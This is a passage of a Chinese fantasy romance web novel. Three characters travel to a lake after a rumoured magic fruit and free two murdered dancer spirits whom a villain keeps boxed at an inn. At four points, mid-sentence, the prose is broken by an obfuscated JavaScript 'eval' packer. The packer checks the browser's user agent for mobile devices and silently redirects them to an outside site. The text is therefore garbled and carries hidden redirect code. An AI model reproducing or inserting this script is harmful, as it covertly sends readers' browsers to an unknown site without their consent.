温兰枝扯了一下有点勒脖子的华服,邬辞砚给她脱下来一层,她又扯了一下,又脱一层,温兰枝觉得好玩,又扯了一下,邬辞砚不脱了。 他道:“那边那边,那边沐浴。” “哦。”温兰枝在他的搀扶下,左一脚,右一脚地迈进了屋里,又一脚踩进了温泉池。 “诶!”邬辞砚拉住她,“脱衣服啊!” 温兰枝酒量好,虽然已经烂醉如泥,但不至于不知道自己在干嘛,她东倒西歪地站着,笨拙地脱着衣服,嘴里还振振有词地提醒着自己下一步该脱什么。 邬辞砚真怕自己出去以后,她会一头栽进去喝个水饱。 正好,回来了一个女妖怪,她看两位在里面,赶紧要撒腿跑。 “定!”邬辞砚将她定住,道,“我给你解开,你过来给她洗干净。” “……啊?”女妖怪心说:你不是已经在洗了吗? 邬辞砚给她解开,她也不好多问,只好进来帮忙拉住了脱到只剩一件衬衣,要往里面跳的温兰枝。 邬辞砚要是不拉着点,她可能已经跳进去了。 邬辞砚看那个妖怪抓稳了,试探着松手,确定没问题了,叮嘱了一句“小心一些,别让她摔了”,然后就出去了。 参加庆典的妖怪们听说邬辞砚回来了,也陆陆续续回来了。 女妖怪把温兰枝最后一件衣服也脱了,温兰枝抱住了女妖怪,四肢并用地趴在人家身上,女妖怪扯下她的左胳膊,她右胳膊又上来了,扯下她的右胳膊,左胳膊又上来了,没办法,只好抱着她,两个人一起进去洗。 温兰枝嘟囔问道:“今天喝酒的时候,大家为什么突然都笑了?” 女妖怪想了一下,知道温兰枝在说什么了,笑道:“因为夫人说错了啊,不是低头思故乡,是对影成三人。” “哦……”温兰枝打了个哈欠,靠在女妖怪身上睡着了。 女妖怪:“……”她要让邬公子给她发赏钱,这活太难干了。 第二日上午,邬辞砚给慕蓉发了飞书。 慕蓉带着花瓣雨来了,不过她来得太早了,妖怪们都还没醒呢,错过了这场花瓣雨。 慕蓉进宫,邬辞砚在门口等她,然后拉着她进了书房,“干什么?为什么不在寝宫里谈?我还想玩兔子呢。” 邬辞砚给她展示了一下手上的血痕,“她大早上起来,突然大闹,说想起来昨天晚上在那么多人面前念错诗,没脸见人了。” “那为什么抓你啊?”慕蓉来的时候看到了街上的混乱,想也知道昨天晚上有多疯狂。 邬辞砚道:“我以为她开玩笑,给她把被子掀开了,她蹬了我一脚,然后,惨剧就发生了。没办法,她不让我在里面,我只能出来了。” 慕蓉哭笑不得,“好吧。叫我来什么事?” 邬辞砚把卷轴给她,又把自己的猜测说了一通。 卷轴上标注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123872|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很详细,甚至还写了如何到熙熙湖,租马车过去要多少钱,还画了几个大笑脸。 但慕蓉笑不出来,她和邬辞砚的想法一样,有诈。 她道:“我当时真的是凑巧,在山洞里闭关修炼的时候,发现山洞里面长了个芩青果,当时我还不确定,感觉自己不至于这么好运,再三检查后才吃了。我还是第一次听说有不好摘的芩青果。” “但是。”她话锋一转,“有诈肯定是有诈,但果子也不一定是假的,毕竟伪造芩青果,也挺容易被拆穿的,说不定是找了颗真的芩青果做诱饵,引你过去。” “你也觉得是为了引我,而不是别人?”邬辞砚撑着头,他一直在纠结要不要去。 慕蓉道:“不去的话,你能安心吗?” 邬辞砚道:“那当然不能,万一是真的呢。” 慕蓉道:“那就去吧,我还不相信,熙熙湖能把你淹死不成?再说,就算你不去,我也是要去的。” “哦?”邬辞砚挑眉。 慕蓉道:“一个诱饵,让这么多人丧命,不管真的假的,还是早日铲除为好。” 门开了,鹉十二端着茶盏进来,“公子,慕蓉上神,抱歉,起晚了。” 慕蓉露出笑颜,道:“无妨,今日你们休息,是我贸然前来打扰你们了,是我该抱歉。” 鹉十二不好意思地抓抓脑袋,“慕蓉上神千万别这么说,上神每年都给妖界送那么多祝福,我们都感谢你。茶是刚泡的,二位小心烫,公子慢用,上神慢用。”言罢,蹦蹦跳跳地出去了。 邬辞砚抿了口茶,“嗯,你今天要是不来,我还得自己泡茶,托你的福。” 慕蓉玩笑道:“没良心的,鹉十二平时给你泡茶泡得还少了。” “对了。”慕蓉突然想起来什么,面上又严肃起来,“我过来这一路上,可是听说,皇城多了一位夫人?” 邬辞砚点头,“没错。” 慕蓉放下茶盏,正要开口,被邬辞砚打断,“我知道你要说什么,你得劝我,我要是没打算娶人家姑娘,就不要在外面乱说,不然以后温兰枝走了,走到哪都流言缠身,对名声不好。她现在是喜欢我,觉得流言好,以后不喜欢了,流言比刀还可怕。” “你知道还在外面乱说。”慕蓉没好气儿地道,“怎么?准备成亲了。” “呃……”邬辞砚仰头,思索片刻,道,“这么说吧,我王八蛋,我死缠烂打,我纠缠不休,我故意放出流言诬陷人家姑娘,就为了让人家姑娘走投无路嫁给我,我是混蛋。” “你……” 慕蓉正要骂,又被邬辞砚打断了,“听我说完嘛,我是说,我以后要是不娶她,我就出去这么澄清。” 慕蓉:“……什么?” 邬辞砚犹豫片刻,没正形地转过头来,道:“你觉得,我们可不可能有个什么十八世情缘呢?不然为什么才短短几天,我就这么喜欢她呢?” 慕蓉不理解,又问道:“皆大欢喜的事,你干嘛不告诉她?” 邬辞砚道:“万一我恢复记忆,发现我俩不是恋人是仇人呢。” 慕蓉还是不理解,“……啊?” 邬辞砚道:“万一是仇人,就杀了了事,也就不用澄清了。” 慕蓉:“……”喝茶。 22. 22 两个人商量完,打算去和温兰枝商量一下,看她要不要跟着去。 慕蓉没有进去,她知道温兰枝这会儿心情不好,还是让邬辞砚去触这个霉头吧。 邬辞砚拍了两下被子,“兰兰?” 温兰枝在被子里扭了两下。 邬辞砚又拍了两下。 温兰枝露出头来,嘟囔了几句。 “什么?”邬辞砚俯身,仔细去听。 温兰枝又嘟囔了一遍。 邬辞砚还是没听清,再凑近几分,就差把耳朵贴温兰枝嘴上了。 这一遍他终于听清了,跟着重复了一遍,“袜子破了?” 他迟钝地在心里跟着默念了两遍,看着温兰枝双颊上的绯红,突然反应过来。 他仰头,大笑:“哈哈哈哈!报应啊报应!哈哈哈哈哈!温兰枝!这都是你的报应啊!报应!” 在殿外闲逛的慕蓉脚下一个踉跄,差点栽到桃树上。 温兰枝隔着被子又蹬了他几脚。 邬辞砚站起来,站到离床三步之外的地方,再次仰头,大笑:“哈哈哈哈哈!温兰枝!报应啊!报应!哈哈哈哈哈哈哈这都是你的报应!” 慕蓉:“……”果然雷不会只劈一下,还好她早有心理准备。 她看向旁边和她一起赏花的妖怪,问道:“你们家大王经常这样吗?” 旁边的妖怪连忙维护大王声誉:“从未有过疯魔的迹象,今天是头一回。” 温兰枝直接脱掉袜子,从被窝里钻出来。 邬辞砚立刻改口,“好好好,错了错了错了,我去给你找袜子。” 他打开衣柜,侧身给温兰枝展示,“看,这里不都是你的袜子吗?还有衣服。”他拿了一双递给温兰枝。 温兰枝穿上,又回去把鞋穿上,刚才邬辞砚给她递袜子的时候,她注意到邬辞砚手上的血痕,心虚地低下头,过了一会儿,她道:“对不起。” “什么?”邬辞砚疑惑道。 温兰枝指了指他的伤口。 “哦!”邬辞砚差点忘了,他抬起手臂,道,“可疼了。” 温兰枝翻出之前邬辞砚给她的小瓶子,给他涂药,涂得认真仔细,覆盖了好几层。 邬辞砚和她额头碰额头,道:“把眼睛闭上,给你变个魔术。” 温兰枝闭上眼睛。 “三、二……一!睁开吧!”邬辞砚道。 温兰枝睁开眼睛,刚才正对着她的伤口消失不见了。 “哇!”温兰枝捧着他的胳膊看了又看,“好厉害。” 邬辞砚不止一次听她说“好厉害”这个词了,也学着她的语气,道:“好厉害。” 慕蓉进来了,“你俩能不能说点正事啊。” 温兰枝听见慕蓉的声音,连忙转过头来,和邬辞砚碰了下头。 “哎!”邬辞砚装作很疼的样子,捂住头,看着她。 温兰枝倒是没什么感觉,她看了看他,又看了看慕蓉,道:“抱歉,但反正你能自己愈合嘛。慕蓉姐姐!妖界的葡萄也可好吃了,我还没吃完,快来尝尝。” 邬辞砚:“……” 慕蓉笑了一下,被她拉着坐到床边,塞了一个装满葡萄的篮子。 她尝了一个,“嗯,很甜。枝枝啊,我有事情跟你说。” 慕蓉用简洁易懂的语言说明白了芩青果的事情。 说罢,慕蓉又问道:“你想不想去?” 温兰枝连连点头,“想去!” 慕蓉姐姐说吃了芩青果,就可以变成一只聪明的小兔子,温兰枝特别想变成一只聪明的小兔子,她迫不及待地询问道:“那我们什么时候去呢?” 邬辞砚道:“就现在吧。” 话音刚落,三人眼前的场景开始变幻,四周的东西飞速移动,温兰枝看到三人穿墙而过,随后就什么也看不清了,只看到两边的东西都在飞速后移。 邬辞砚打了个响指,“停!” 慕蓉和温兰枝还是坐在床上,邬辞砚还是站在桌旁,但屋子变得简陋了,周围也不再安静,此起彼伏的吵嚷:笑声、打闹声。 慕蓉仔细打量了一下周围,“这是……客栈?” 邬辞砚道:“对,再往北走一点就是熙熙湖。我刚才用神识探过了,周围只有这么一家客栈还有空房。” 他从钱袋里拿出银两,扔到慕蓉怀里,道:“快去定两间房吧,这家客栈也就剩五间房了,一会儿没了。” “五间?定两间?”慕蓉又在心里数了一遍人数。 “咳!”邬辞砚背过身去,“那么多人在外面打地铺呢,我们省一间,就少一个人打地铺。” 慕蓉无语片刻,下去付房费了。 楼下看上去都是些奇人异士,也有些没藏好尾巴的妖怪。 “要两间房!” “要四间房!” 两人异口同声道。 店家看到慕蓉从楼上下来,见怪不怪,这里的怪事多了去了。 他看着两人,道:“只有五间房了。” 慕蓉看向对方,是个壮汉,虽然壮不一定能打,但她真的不想打。 她好言好语商量,“你们几个人?可否挤一挤?我们三个人,实在是挤不下了。” 那个壮汉正要开口,后面的人“啧”了一声,壮汉犹豫片刻,道:“行,我们要三间。” 慕蓉松了口气。 那壮汉让开身子,露出一个精瘦的人,看着像妖精,地上放着两个黑色的大箱子,壮汉扛起一个,后面那个人扛起另一个,往楼上走。 慕蓉看着那两个箱子,总觉得哪里奇怪。 回去以后,发现邬辞砚和温兰枝正在玩石头剪刀布,这么无聊的游戏竟然能玩得津津有味。 邬辞砚道:“放弃吧,你赢不了。” 温兰枝不服气,道:“为什么,不就是靠运气吗?再来。” 慕蓉:“……我刚才。” “等一下!”邬辞砚打断她,“来,三!二!一!” “剪刀!” “石头!” “嘿嘿嘿!我赢啦!”温兰枝欢呼道。 慕蓉:“……” 邬辞砚转过头来,“你要说什么?” 慕蓉道:“我刚才看见两个人,抬了两个和人差不多高大的箱子上来,进了咱们对面的房间。” 邬辞砚思索片刻,道:“你是觉得,有人养鬼?” “养鬼?”温兰枝好奇问道。 邬辞砚解释道:“就是把人的鬼魂禁锢在一个地方,你用血养着它, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137056|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它可以帮你打架,而且,因为它喝了你的血,认你为主,成为了你身体的一部分,所以如果你死了,它也会死。这是禁止的,鬼界禁止,妖界禁止,天庭就更不用说了。养鬼需要随身带着鬼的尸体,鬼离肉身越近,力量就越大。” “不过吧。”邬辞砚话锋一转,“凡间不禁止,没人管。如果那两个人是凡间来的,我们就管不着了。如果是妖界来的,直接带回妖界论罪处置,如果是鬼界来的,随便找个鬼王交给他就行。” 温兰枝接话道:“那应该是凡间来的吧?不然肯定会藏起来呀!” “你看。”邬辞砚转头看向慕蓉,“温兰枝都懂。我们管不了。” 慕蓉坐下来,道:“人不能送回去,鬼还不能送回去吗?” “此话怎讲?”邬辞砚看到温兰枝在地上捡了个没剥皮的橘子,一巴掌给她打掉,“在这种地方也敢随便捡东西。” 慕蓉道:“人鬼契约,未必没有破解的法子。明日去熙熙湖,定然是人千人万,此鬼若出世害人,该如何是好?再说,枝枝还在队伍里呢。” 邬辞砚从口袋里拿了个桃子递给温兰枝,道:“破解契约……这也太复杂了吧。” 破解契约,要先把鬼从对方手里抢过来,变成自己的小鬼,然后送回到鬼界,让它去转世重生,一旦有了新的皮囊,重新为人,此契约自然就破解了。 不过,慕蓉说得对,鬼容易发狂,尤其是被圈养的小鬼,发起疯来,除了主人,无差别攻击。主人好不容易收来的小鬼,大概率也不舍得当场弄死,到时候,就不知道要死多少人了。 万一,万一啊,温兰枝和他们走散了…… “行,我觉得靠谱。”邬辞砚想明白了,“今晚就去把那两个箱子打开。” 慕蓉拍了一下邬辞砚的肩膀,欣慰道:“靠谱,你最靠谱!” “你最靠谱!”温兰枝也学着慕蓉,说道。 邬辞砚摸了一下温兰枝的头,“嗯,我最靠谱,以后要跟紧我。” 温兰枝大声道:“我以后肯定跟紧你!” 咚咚咚,咚咚咚。 温兰枝“咦”了一声,“你们听到了吗?什么?好小的声音,在敲地板吗?” “有可能?”慕蓉侧耳,仔细听了听。 周围的声音很嘈杂,那声音又很小,慕蓉仔细辨别了半天,“应该是对面发出来的声音。” 温兰枝也认真地听起来,“真的很像是在……敲……地板?” 慕蓉道:“也有可能是敲箱子。” 紧接着,是对面开门的声音,门打开又关上,没多久,敲地板的声音就消失了。 “不是小鬼?”邬辞砚猜测道。 “为什么?”温兰枝问道。 邬辞砚道:“小鬼不发狂的时候是很听话的,不让敲,肯定不会敲。如果已经发狂了,就不止是敲箱子这么简单了。” 温兰枝晃晃脑袋,她不太懂这些,感觉是什么都无所谓。 过了一会儿,她突然瞠目结舌地道:“会不会是活人?” 邬辞砚握住了她的手。 慕蓉道:“有可能,在求救吗?” “抬一个活人到熙熙湖……”邬辞砚摇摇头,“我觉得可能性小,能干嘛呢?拐卖?卖到这儿?” 23. 23 晚上,外面还零零星星地有一些人,三个人没点灯坐在屋里闲聊。 黑漆马虎的,温兰枝必须说点什么让自己不那么害怕。 她一开口,问了一个一直很好奇的问题:“慕蓉姐姐,你不想当天帝吗?” 坐在旁边的两个人皆是一愣,慕蓉道:“想啊。” 温兰枝道:“那为什么不当啊?我感觉你非常的合适。” 慕蓉道:“这个啊……” 她撑着头,组织了一下语言,道:“因为天上的神仙不服我,我没有功绩,资历又浅,想做天帝,就要有让所有人都信服的能力。” 温兰枝道:“可是你帮邬辞砚振兴了妖族呀!庆典的时候,很多妖怪都很喜欢你!” 慕蓉道:“就是因为我帮邬辞砚,所以他们更不服我了,神仙是最看不惯妖怪的,不管妖怪做过多少好事,在他们眼里,都是低人一等。我帮邬辞砚,在他们眼里,我是神仙的叛徒。就算我用武力当上了天帝,他们也会觉得,一定是邬辞砚教给了我一些旁门左道的方法,到时候引起众怒,又是一场恶战。” 温兰枝道:“那有没有什么办法让他们服你呢?” “呵!”邬辞砚被逗笑了,“这么想你慕蓉姐姐当天帝?” 温兰枝道:“因为慕蓉姐姐和我关系好呀!我肯定支持她。” 两个人都笑了,慕蓉道:“你这是想让我舞弊徇私。就算你姐姐当上了天帝,你也要遵纪守法,做个好兔子。” 门外又响起咚咚咚的声音。 三人安静下来,仔细听着。这次没有开门声,两个人应该都睡着了。 那个咚咚咚的声音又响起来了。 这会儿大部分人应该都睡着了,不管是什么,去看看就知道了。 三个人蹑手蹑脚,偷偷摸摸地拉门出来了。 温兰枝要去推对面房间的门,被邬辞砚和慕蓉同时抓住了手腕儿。 邬辞砚小声道:“胆子怎么这么大,万一门上有个什么法术把你伤了怎么办。” 慕蓉也小声道:“不能推门进去,万一把那两个人吵醒就麻烦了。” 邬辞砚手隔空碰了下门,门没开,但三个人已经在里面了。 咚咚咚,咚咚咚。 “还真是箱子里发出的声音。”温兰枝小声道。 箱子里的声音戛然而止,片刻后,发出更猛烈地敲击声。 砰砰砰!砰砰砰!箱子开始剧烈震动。 温兰枝缩到邬辞砚后面。 邬辞砚施法降下屏障,防止屋里的声音传出去。 他拿出腰间的刀,在箱子缝隙处轻轻一撬,破除了箱子周遭的法术,箱子盖被缓缓推开,里面的东西——不知是人是鬼——已经迫不及待,开始剧烈挣扎。 箱子两侧被狠狠撞击,发出声响。 盖子打开,露出真容。 “是个姑娘。”慕蓉惊讶道。 温兰枝从后面钻出来,伸长脖子往箱子里看,惊得眼珠子都要掉出来了,“琴夕姐姐!” “你认识?”邬辞砚扭头问道。 “嗯!”温兰枝点头,“她是我们酒楼里跳舞跳得最好的舞娘!” 箱子上的法术被破解的时候,琴夕的定身咒也随之解开了,邬辞砚用刀砍断她身上捆绑着的铁链子,解开她的禁言术。 琴夕大喘了几口气,满目惊慌失措,她努力平缓着呼吸,压低声音,道:“今日救命之恩,改日若有机会,定当报答。谢谢。” 说完,她从箱子里爬出来,起身就要走。 慕蓉闪身挡在门口,“琴夕姑娘,这里是熙熙湖,周围到处是妖魔鬼怪,你要跑哪里去?” “我、我……”琴夕左右张望,很明显不知道自己在哪里,“我肯定要走的,我不能留在这,不能……我不会出卖你们,让我走吧,求你们,求你们……” “要不我们把你送回酒楼?”慕蓉问道。 “不!”情绪激动之下,她也没忘了要放低声音。 她转过头,盯住温兰枝,大步走过去,被邬辞砚挡住。 她咬牙切齿,恨不能将后面的温兰枝生吞活剥了,看到邬辞砚,她似是冷静了几分,但面上的恨意不减,“你知道我为什么在这吗?” 邬辞砚道:“姑娘请讲。” 她突然回过神来,反应过来面前的人是谁,冷嘲热讽地笑了一声,道:“不瞒邬公子,自从公子带走了温兰枝,我们酒楼就没有好日子过。” 她不敢直视邬辞砚的眼睛,但她想说,她太想说了,她不想住嘴,不能住嘴,她愤恨道:“敢问邬公子,你明明知道我们这里是酒楼,明明知道我们这里不卖身的,为什么要大张旗鼓地买走温兰枝,又为什么要去山黑那里耀武扬威!既然去找了山黑,为什么不赶尽杀绝!为什么要放过他!为什么要给他翻身的机会!” 她一字字,一句句,痛心泣血,她质问,她痛苦。但是再大声的质问也不能缓解痛苦。 她转过身去,缓了两下,捂着额头,似是已经头晕目眩,她强撑着,转过来,明明已经气到颤抖,但还是不敢大声,“山黑早就看上温兰枝,因为王婆婆不肯把温兰枝卖给他,他怀恨在心,一直想找机会报复。但是你——你!你买走了温兰枝!大张旗鼓!扫了他的面子!你刚走,他就到酒楼,找到王婆婆,威胁她,如果不卖给他舞娘,他就烧了酒楼……王婆婆没办法,让他挑,他挑了我和云曦。” 她擦掉已经漫出的眼泪,“我哀求他,我说我跟他走,求他放过云曦,他好像听不见……他不理我,他不理我……” 温兰枝跨过邬辞砚,绕到他前面,她害怕地抿了下嘴唇,但还是说道:“不是邬公子要买我,是我自己想跟他走。就算他不买我,我自己也会买下自己的。我不喜欢待在酒楼里,面对别人的触摸和羞辱,不能说不,不能逃跑。” “说这些有什么用……说这些有什么用……”琴夕抱头蹲在角落里,突然,她站起来,“我要出去救云曦。” 慕蓉在此刻撬开了另一个箱子,云曦坐起来。 琴夕转过头,连忙去拉她。 慕蓉道:“这里确实不安全,去我们那里吧。”她顿了顿,道:“我们可以把你们送到安全的地方,但是你们得告诉我,山黑为什么把你们两个带到这边来,可以吗?” 山黑来这里,肯定是来找芩青果的,慕蓉实在是想不通他为什么要把这两个姑娘带过来。 妖魔鬼怪中也不乏一些商人,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142151|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己取不到芩青果,但也不想错过这么好的商机,就过来摆摊卖点灵丹妙药、神兵宝物什么的,肯定有人需要。 不过,如果想卖姑娘,那是来错地方了。 琴夕和云曦身上,应该有山黑想要的东西。 琴夕点头,“好。”她答应得干脆,没有丝毫犹豫。片刻后,她解释道:“慕蓉上神,我相信你。” “呃?”慕蓉没反应过来,自己的身份是怎么暴露的。 不过,邬辞砚经常和她一起出现,对邬辞砚有所了解的人,应该也能猜到她是谁吧。 一团云雾降下,众人被蒙在里面,等云雾散去,他们已经到了邬辞砚的房中。 邬辞砚还是没有点灯,等会儿山黑发现人没了,又只有他们房间里亮着灯,肯定一下子就猜出来了。他不想徒增麻烦。 慕蓉道:“说吧,说完我就把你们送到皇城去。皇城是邬公子的地盘,山黑一定不敢去。” 云曦抓住琴夕的手,琴夕拍了拍她的手背,轻声道了句“别怕”。 她转过头来,看着慕蓉,道:“我已经死了。” 慕蓉神色凝重,道:“看出来了,是山黑杀了你们?” 琴夕点头,道:“我和我妹妹,我们原本是妖怪,被山黑杀害,他杀害我们以后,又用仙丹,锁住我们的魂魄,将我们强行变成鬼。他想把我们拘禁在他的身体里,我答应他,只要放了云曦,我就和他建立契约,成为他的鬼。” “但是他不同意。”琴夕低下头,轻轻抚摸云曦的手背,“他一直不理我,我不明白为什么,他听见我说不同意以后,就不管我后面说什么,只是把盒子盖上,然后带我来了这里,我根本不知道这里是哪里。” 邬辞砚道:“因为对他来说,你们是物件,是可以交易的商品,你们同意最好,不同意也没什么好谈的,他找别的方法就行了。” 他和慕蓉对视一眼,慕蓉道:“嗯,说到这里我就明白了。有一种符咒,可以强行将鬼拘禁在自己的身体里,立下契约,根本不需要鬼魂同意,很多小鬼都是被这种强迫的方式收服的。” 邬辞砚道:“正儿八经的店里没有卖小鬼符咒的,但是,如今的熙熙湖,肯定有。他是想到这里来买小鬼符咒。” “我还好奇一件事情。”慕蓉道,“收养小鬼是很耗费精力和身体的事情,他一个人的血,撑死了养两个,你们有什么能耐,让他非你们不可?” “这个……”琴夕犹豫了。 云曦接话道:“我们会媚术!” “媚术?”慕蓉凝神,“媚术是蛊惑人心的能力,强大的媚术可以让对方为我所用。” 温兰枝注意到琴夕的神色不好,她看向慕蓉,“慕蓉姐姐,我们快把她们送走吧,我怕山黑一会儿醒了。” 慕蓉看向她,明白过来,媚术确实是正儿八经的法术,但因为会的人不多,了解的人也少,所以通常被污名化,会媚术的人基本都藏着掖着。 虽然会媚术没什么好羞耻的,但慕蓉不想逼迫她们。 慕蓉正要答话,突然,对面传出巨响。 温兰枝吓得打翻了手边的茶盏,邬辞砚站起来,挡在门口。 慕蓉也站起来,把三个姑娘挡在后面。 24. 24 周围的骂声此起彼伏,还有打开门看什么情况的。 两个身影越来越近,邬辞砚先一步推开门,不满道:“大半夜的做什么!” 门外的两个身影皆是一愣,瘦一些的那个伸着脖子往屋里看,先是看到了站在前面的慕蓉,接着是温兰枝。 他们并没见过慕蓉,但看到她和邬辞砚在一起,大概也知道是谁了。 邬辞砚正过身子,挡住他的视线,“好巧啊山黑。” 小个子的人一怔,他明明用了化形术,不过他转念一想,被邬辞砚看出来也不奇怪。他赶忙赔笑脸道:“打扰邬公子休息了,我的一件宝物丢了,花了我好大的价钱,正在找呢。” “哦?”邬辞砚挑眉,“你觉得我偷了你的宝物?” 山黑连忙道:“不敢不敢,公子哪瞧得上那些破烂。我去别处找找。” “诶!别走啊。”邬辞砚揪出他的后领,“没准真在我这儿呢。你是不是养小鬼了?” 温兰枝肩膀颤了一下。 山黑怔住,呵呵笑道:“怎么会……公子说笑了。我向来奉公守法的,尤其是作为一个妖王,很小很小的妖王,但也要给下面的人做好表率嘛。怎么能、怎么会……” “哦——”邬辞砚靠着门,“但是我拿到了证据,这怎么办?” 山黑笑不出来了。 邬辞砚伸出两个指头,指着他的额头,薄唇轻启,“倒。” 山黑两眼一翻,向后倒去。 跟在他身边的壮汉已经跑得不见影子了。 邬辞砚冲温兰枝招招手,“荷包,给我。” 温兰枝递给他。 邬辞砚把山黑变成一两银子,装在了荷包里,还给温兰枝,“你注意着点,别花出去了。” “花出去了会怎么样?”温兰枝问道。 邬辞砚道:“那他这辈子就都是一两银子了。” 温兰枝若有所思地看着荷包,“哦”了一声。 躲在被子里的两只猫妖钻出来,琴夕跪下,就要磕头,被慕蓉拦住了。 慕蓉道:“我们应该做的,不必如此。公子,不早了,你和温姑娘休息吧,我把两位姑娘送到皇城去。” “好。”邬辞砚道。 “慕蓉上神。”琴夕恳求道,“能不能把我们送去鬼界?” “鬼界?”慕蓉诧异,“你们想做鬼吗?” 琴夕道:“我们两个已经是鬼了,留在鬼界应该更安全些。” 慕蓉道:“好。” 慕蓉走了,温兰枝心里打鼓,小声问道:“慕蓉姐姐刚才为什么突然叫我姑娘,平时都不这么叫的。” 邬辞砚安抚性地拍拍她的脑袋,道:“我们说好的,在外人面前装作公事公办的样子,不要太亲密,慕蓉每次出来,也会和天庭报备,防止被有心之人拿去做文章。” 温兰枝松了一口气,她还以为惹慕蓉姐姐不高兴了呢。 邬辞砚把床铺好,“睡觉吧,还有几个时辰就天亮了。” 温兰枝向他靠近了几步,面上带着些许不满的情绪。 邬辞砚后退两步,温兰枝也跟着前进两步,她踮起脚尖,凑近他。 邬辞砚突然体会到了什么叫不知所措,离得太近了,他没法低太多头,会碰到温兰枝的脑袋,只能稍微低一点,直直地盯着她的眼睛。 奇怪了,平时都搂搂抱抱也不避讳,邬辞砚完全可以上去抱住温兰枝的腰,把她推到床上,让她好好睡觉。 但他就是愣住了,木讷地站在那里。 温兰枝开口了:“你以后……可不可以……” 邬辞砚看她半天没有下文,主动问道:“什么?” 温兰枝道:“不要揪别人的衣领,只揪我的。” 两个人久久相望,突然,邬辞砚噗嗤笑出了声,打破了暧昧的氛围,他后退一步,转过头,笑起来。 “你笑什么?”温兰枝扯住他的袖子,“笑什么嘛!” “好了好了,不笑不笑。”邬辞砚揪住她的领子,把她拎起来,“山黑是男的,男的也不行?” “不行!男的不行!女的不行!不男不女也不行!”温兰枝坚决道。 “好吧。”邬辞砚把她放到床上,“我保证以后不揪别人的领子,只揪你的。睡觉睡觉。” 温兰枝听他保证完,哼一声,心满意足地躺下睡觉了。 慕蓉一直折腾到天快亮才回来。 她看邬辞砚还没睡,问了一声。 邬辞砚道:“等你呀,万一你出个什么事,飞书给我,我还能及时去帮忙。” 慕蓉道:“嗯,真有良心,谢谢你啦!我把两个姑娘送回去以后,去找了王婆婆,我跟她说山黑不会再回去了,要不要帮忙。如果需要的话,我可以把她酒楼的姑娘全买了,再赔给她一笔钱,让她去别的地方谋生路。” 邬辞砚问道:“她怎么说?” 慕蓉道:“她拒绝了,她说她最头疼的就是山黑,既然山黑没了,那她就没什么事,我给了她一笔钱,没再提了。” 邬辞砚道:“就算有事,她也不会随便走的。这里的生意这么好,去别处就不一定了,不到危急关头,她还是愿意维持下去的。” 温兰枝翻了个身,睁开眼睛。 慕蓉注意到,笑问道:“我们吵醒你了吗?” 温兰枝摇头,道:“我做噩梦了。” 慕蓉问道:“什么噩梦?” 温兰枝咬了下手指,道:“我梦见我变成了烤兔子。” 邬辞砚抓住她的手,温柔地碰了一下她的额头,“不会的。” 温兰枝还以为说出来以后,会被嘲笑一番的,她是真的很害怕,所以不想说出来被调笑。 她看到邬辞砚郑重地跟她说不会的,一时有些感动,凑上去,亲了一下他的鼻子。 慕蓉出去拿饭食了。 两个人又在床上嘀咕起来。 温兰枝用微不可察的声音说道:“其实,我在梦里还梦到一个人,我还记得他的名字,但是我不认识他,我可不可以给他飞书啊?” “当然不可以啦。”邬辞砚好笑道,“飞书是需要有法力连接的,从没见过的两个人,根本没有法力相交,飞书也找不到对方。” 温兰枝抿唇,道:“我想试一下。” 邬辞砚拿出一张飞书,递给她,“那你试试。” 温兰枝拿着飞书,催动妖力,想了很久,说道:“齐岳封,你为什么要杀我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149388|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她松手,飞书燃起来。 两个人都是一惊,眼睁睁看着飞书消失在眼前。 温兰枝怔怔道:“发出去了?发给谁了呢?” 邬辞砚笑笑,缓解气氛,道:“齐岳封啊,你自己说的。” “谁是齐岳封?”温兰枝问道。 邬辞砚道:“不知道啊。” 他扶着温兰枝起来,“算了,都已经发出去了,就这样吧。” 慕蓉提着食盒回来了,“我多交了点钱,多添了几个菜。” 邬辞砚道:“好,快吃吧,吃完出发了。” 慕蓉会选菜,选的都是温兰枝爱吃的。 邬辞砚夹了个胡萝卜给她,被温兰枝夹回去了。 